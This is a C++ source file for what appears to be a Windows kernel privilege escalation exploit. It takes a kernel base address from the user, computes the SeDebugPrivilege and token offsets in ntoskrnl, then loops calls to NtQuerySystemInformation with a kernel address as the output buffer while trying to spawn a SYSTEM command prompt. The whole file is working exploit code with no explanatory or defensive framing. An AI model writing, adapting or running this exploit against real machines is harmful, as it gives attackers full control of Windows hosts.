#include <windows.h>
#include <iostream>
#include "exp_tools.h"
#pragma comment(lib, "ntdll.lib")

extern LPCWSTR wCmdPath;
extern LPCSTR CmdPath;
extern LPCWSTR wNtoPath;
extern LPCSTR NtoPath;

extern LPCWSTR wNtoRootPath;
extern LPCSTR NtoRootPath;

DWORD64 NTOKernelBase;
HMODULE NTOUserBase;
DWORD64 SeDebugPrivilegeAddr;
DWORD64 SeDebugPrivilegeAddrOffset;
DWORD64 TokenOffset;

//typedef enum _SYSTEM_INFORMATION_CLASS {
//    SystemProcessInformationExtension = 253
//} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID                    SystemInformation,
    ULONG                    SystemInformationLength,
    PULONG                   ReturnLength
    );

int main(void)
{
    setlocale(LC_ALL, "en_US.UTF-8");
    auto NtQuerySystemInformation =
        (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");
    if (!NtQuerySystemInformation)
    {
        std::cout << "[-] Failed to get NtQuerySystemInformation\n";
        return -1;
    }

    OSVERSION OSVersion;
    GetFullOSVersion(&OSVersion);
    printf("[*] OS Version: %d.%d.%d.%d\n",
        OSVersion.MajorVersion, OSVersion.MinorVersion,
        OSVersion.BuildNumber, OSVersion.RevisionNumber);

    printf("[*] Please enter ntoskrnl kernel base: ");
    char input[64];
    if (fgets(input, sizeof(input), stdin)) {
        if (input[0] == '0' && (input[1] == 'x' || input[1] == 'X')) {
            NTOKernelBase = strtoull(input + 2, NULL, 16);

        }
        else {
            NTOKernelBase = strtoull(input, NULL, 10);
        }
    }

    //NTOKernelBase = 0xfffff802b4400000;
    NTOUserBase = GetModuleByName(wNtoPath);
    printf("[+] ntoskrnl kernel base: %llx\n", NTOKernelBase);
    printf("[+] ntoskrnl user base: %llx\n", (DWORD64)NTOUserBase);

    SeDebugPrivilegeAddrOffset = FindSeDebugPrivilegeOffset(NTOUserBase);
    SeDebugPrivilegeAddr = NTOKernelBase + SeDebugPrivilegeAddrOffset;
    printf("[+] SeDebugPrivilege offset: %llx\n", SeDebugPrivilegeAddrOffset);
    printf("[+] SeDebugPrivilege: %llx\n", SeDebugPrivilegeAddr);

    TokenOffset = FindTokenOffset(NTOUserBase);
    printf("[+] Token offset: %llx\n", TokenOffset);

    system("pause");

    NTSTATUS status;
    ULONG returnLength = 0;
    while (SpwanCmdSystem()) {
      status = NtQuerySystemInformation(
        (SYSTEM_INFORMATION_CLASS)SystemHandleCountInformation,
        (PVOID)(SeDebugPrivilegeAddr - 1),
        0,
        &returnLength
      );
      printf("[+] status: 0x%08lX | returnLength: %lu\n", status, returnLength);
    }

    system("pause");
    FreeLibrary(NTOUserBase);
    return 0;
}